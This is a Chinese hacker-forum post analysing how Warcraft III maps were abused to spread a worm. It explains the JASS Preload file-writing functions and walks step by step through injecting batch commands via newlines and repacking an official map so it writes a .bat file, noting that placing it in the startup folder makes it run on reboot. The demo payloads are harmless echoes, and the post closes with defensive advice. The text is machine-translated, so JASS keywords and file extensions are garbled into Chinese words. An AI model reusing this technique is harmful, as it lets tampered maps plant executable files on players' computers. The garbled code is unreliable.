跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

War3地图“漏洞”分析简介


KaiWn

推荐的帖子

0x00 前言

近日,腾讯电脑管家团队对《魔兽争霸3》漏洞传播的“萝莉”蠕虫进行了分析,并介绍了“萝莉”蠕虫的运行过程。然后“蠕虫”的作者在他的网站上澄清了这一点。我们暂且不八卦这个事件,只从技术层面分析《魔兽争霸3》漏洞是什么,如何利用,如何防御。

“萝莉”蠕虫分析地址:

http://www.freebuf.com/news/120136.html

“蠕虫”的作者博客地址:

https://blog.loxve.com/

0x01 简介

《魔兽争霸3》漏洞的过程如下:

1.攻击者上传修改后的魔兽地图,等待其他玩家进入房间游戏。

2.玩家进入房间后,由于没有本地地图,地图会自动下载。

3.地图同步后,玩家进入游戏,触发地图中的脚本,脚本将bat文件写入启动目录。

4.玩家电脑重启后,执行启动目录下的bat文件,成功加载有效载荷。

0x02 相关概念

JASS

它是《魔兽争霸3》的脚本语言,用来控制地图的进程和行为,是魔兽游戏和地图的基础。

在普通地图编辑中,放置的单元、触发器等。最终会翻译成JASS语言,保存在地图文件中,在游戏运行时调用。

HkeW3mModifier

这是一个修改mpq格式文件的工具,可以用来修改加密的MPQ文件。拥有强大的资源搜索功能,可以搜索出魔兽世界地图中的大部分资源,重建列表,智能解压相关地图。

可用于查看和编辑地图中包含的文件资源。

操作说明:

下载HkeW3mModifier.exe,选择地图,点击分析文件,查看地图包含的文件列表,如图所示。

1-1.png

其中war3map.j包含了地图的逻辑控制代码,右键解压war3map.j后可以查看代码,部分如图。

1-2.png

war3map.j中的文件结构

1.变量声明

声明脚本文件中使用的全局变量。

Lost Temple中的变量声明如下:

//***************************************************************************

//*

//*全局变量

//*

//***************************************************************************

全局

//已生成

触发器gg _ trg _混战_初始化=空

结束全局

函数InitGlobals不带任何内容,不返回任何内容

结束函数

2.触发部分

声明映射中使用的触发器。

《迷失神殿》中的触发部分如下:

//***************************************************************************

//*

//*触发器

//*

//***************************************************************************

//===========================================================================

//触发:近战初始化

//

//所有玩家的默认近战游戏初始化

//===========================================================================

函数Trig _ mily _ initial ization _ Actions不取任何值,不返回任何值

调用MeleeStartingVisibility()

调用MeleeStartingHeroLimit()

调用MeleeGrantHeroItems()

调用MeleeStartingResources()

调用MeleeClearExcessUnits()

调用MeleeStartingUnits()

调用MeleeStartingAI()

调用MeleeInitVictoryDefeat()

结束函数

//===========================================================================

函数InitTrig _ Melee _ Initialization不取任何值,不返回任何值

set gg _ trg _ mily _ initial ization=create trigger()

调用TriggerAddAction(gg _ trg _ mily _ initial ization,函数Trig _ mily _ initial ization _ Actions)

结束函数

//===========================================================================

函数InitCustomTriggers不接受任何内容,也不返回任何内容

调用InitTrig _混战_初始化( )

结束函数

//===========================================================================

函数RunInitializationTriggers不接受任何内容,不返回任何内容

调用条件触发执行(gg _ trg _混战_初始化)

结束函数

你可以根据函数名来猜测表示的意思。

函数trig _ mily _ initial ization _ actions是触发器的动作。

函数InitTrig _混战_初始化用来初始化

函数InitCustomTriggers触发器为用户自定义触发器的注册

函数运行初始化触发器的功能是运行触发器

3、主函数主要的

脚本文件的入口

失落的神庙中的主要的部分如下:

//***************************************************************************

//*

//*主初始化

//*

//***************************************************************************

//===========================================================================

函数主要的不接受任何内容,不返回任何内容

调用setcameranbornis(-7936.0 GetCameraMargin(CAMERA _ MARGIN _ LEFT)、-8192.0 GetCameraMargin(CAMERA _ MARGIN _ BOTTOM)、7936.0-GetCameraMargin(CAMERA _ MARGIN _ RIGHT)、7680.0-GetCameraMargin(CAMERA _ MARGIN _ TOP)、7936.0-GetCameraMargin(CAMERA _ MARGIN _ LEFT)、7680.0-GetCameraMargin(CAMERA _ MARGIN _ TOP)、7980

调用SetDayNightModels(' Environment \ \ DNC \ \ DNCLordaeron \ \ DNCLordaeronTerrain \ \ DNCLordaeronTerrain。' MDL ','环境\ \ DNC \ \ DNCLordaeron \ \ DNCLordaeronUnit \ \ DNCLordaeronUnit。MDL’)

调用NewSoundEnvironment(“默认”)

调用SetAmbientDaySound(' lordanonsummerday ')

调用setambientthound(' lordanonsummernight ')

调用SetMapMusic( 'Music ',true,0)

调用CreateAllUnits()

调用InitBlizzard()

调用InitGlobals()

调用InitCustomTriggers()

调用RunInitializationTriggers()

结束函数

4、其他设置

如单位物品表、单位创建、玩家、地图配置暂略

0x03 Jass预读文件漏洞

Reference:

http://bbs.islga.org/forum.php?mod=viewthreadtid=48422 extra=page=1 page=1

贾斯中三个特殊的函数:

本机预加载清除不接受任何内容,也不返回任何内容

本机预加载启动不接受任何内容,也不返回任何内容

本机预加载结束接受字符串文件名不返回任何内容

以上三个函数用来记录PreloadGenStart()和预加载结束()之间执行的所有预载()语句,并将它们写入到预加载结束()函数指定的可编程逻辑电路文件里去

注:

类似于输出日志文件

示例:

贾斯代码如下:

函数测试不取任何值,不返回任何值

调用预加载清除()

调用PreloadGenStart()

调用预加载('可替换纹理\ \相机遮罩\ \白色_遮罩。BLP’)

调用PreloadGenEnd(' c:\ \ test \ \ test。PLD’)

结束函数

执行函数测试()后,就会在c:\test\下新建文件test.pld,并写入如下内容:

函数测试不取任何值,不返回任何值

调用预加载('可替换纹理\ \相机遮罩\ \白色_遮罩。BLP’)

调用预加载(0.0)

结束函数

漏洞原理

1、设置输出为bat文件

如果将输出的。可编程逻辑电路文件后缀名改为。蝙蝠,那么文件中的每一行被当作一段代码被执行(当然语句无效,不符合批处理的语法),如图

2-1.png

2、加入换行符\n

在批处理的语法中,\n代表换行。虽然。可编程逻辑电路文件输出的每行内容格式固定,但是,如果通过\n把调用预加载()这一行中的内容截断,那么就能够实现在新的一行显示一条可被执行的批处理命令

示例:

贾斯代码如下:

函数测试不取任何值,不返回任何值

调用预加载清除()

调用PreloadGenStart()

调用预加载(' \n@echo Test\n ')

调用PreloadGenEnd(' c:\ \ test \ \ test。蝙蝠’)

结束函数

输出成测试。蝙蝠后会包含换行符,输出的文件内容如下:

函数测试不取任何值,不返回任何值

调用预加载( '

@回声测试

)

调用预加载(0.0)

结束函数

此时,产生了新的一行代码@回声测试,@回声测试得到执行,如图

2-2.png

3、执行批处理

默认贾斯只能做到输出文件,无法执行文件,所以只能将文件输出到文件启动项下,在重启后得到执行

0x04 实际测试

1、测试HelloGA2012.w3m

下载地址:

http://bbs.islga.org/forum.php?mod=viewthreadtid=48422 extra=page=1 page=1中的附件

war3版本:1.27.0.52240

加载地图HelloGA2012进入游戏后,按转义字符键,如图,弹出提示,在D:\XX\下产生文件测试。可编程逻辑电路

3-1.png

跳转到目录D:\XX\找到test.pld,内容如下:

函数PreloadFiles不带任何内容,不返回任何内容

调用预加载( '

@cls

@颜色a

@echo Hello World

@echo这是一个WC3地图生成蝙蝠文件的样本。

@echo欢迎来到http://bbs.islga.org。让我们和GA一起走向2012!

@暂停

@退出

)

调用预加载(0.0)

结束函数

测试成功。

2、手动修改官方地图LostTemple

(1)获取源文件

使用HkeW3mModifier打开官图(4)LostTemple.w3m,导出war3map.j

(2)添加有效载荷

根据以上对war3map.j中文件结构的分析,在函数trig _ mily _ initial ization _ actions中添加以下代码:

调用PreloadGenClear()

调用PreloadGenStart()

调用预加载(' \n@echo Test\n ')

调用PreloadGenEnd(' c:\ \ test \ \ test . bat ')

3-2.png

(3)保存

保存war3map.j后,在HkeW3mModifier中选择replace (add)文件,如图。

3-3.png

选择重新压缩以保存映射文件,如图所示。

3-4.png

(4)测试

将地图放在Maps文件夹下,进入游戏,地图就会被识别出来,如图。

4-1.png

注:

为了测试的方便;ing,地图名称已改为test覆盖原图比较混乱。

启动游戏,会在c:\test\下生成test.bat文件,内容如下:

函数PreloadFiles不带任何内容,不返回任何内容

调用预加载( '

@回声测试

)

调用预加载(0.0)

结束函数

如果文件被导出到启动目录,文件将在重新启动后执行。

测试成功。

0x05 补充

1.这个漏洞本身并不包含代码执行的功能,所以成功利用该漏洞的关键在于找到执行代码的方法。最直接的方法是将文件输出到启动项。当然,该漏洞也可以被用来修改指定的文件。

2.dota地图中war3map.j的位置是scripts\war3map.j,也可以使用。

0x06 小结

严格来说,这个《魔兽争霸3》漏洞不算漏洞,但是war3地图中支持一个输出文件的正常功能。使用这个函数,可以将精心构造的代码输出到特定的位置,然后用其他方法执行。

所以,利用这个漏洞的关键在于执行方式,一般的方法无非就是写启动项。

对于普通用户来说,关注一下本机的开机列表就好了。同时,反病毒软件已经能够检测到这种用法。

注意自我保护,谨防上当受骗。

适度游戏对大脑有好处,沉迷游戏对身体有伤害。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...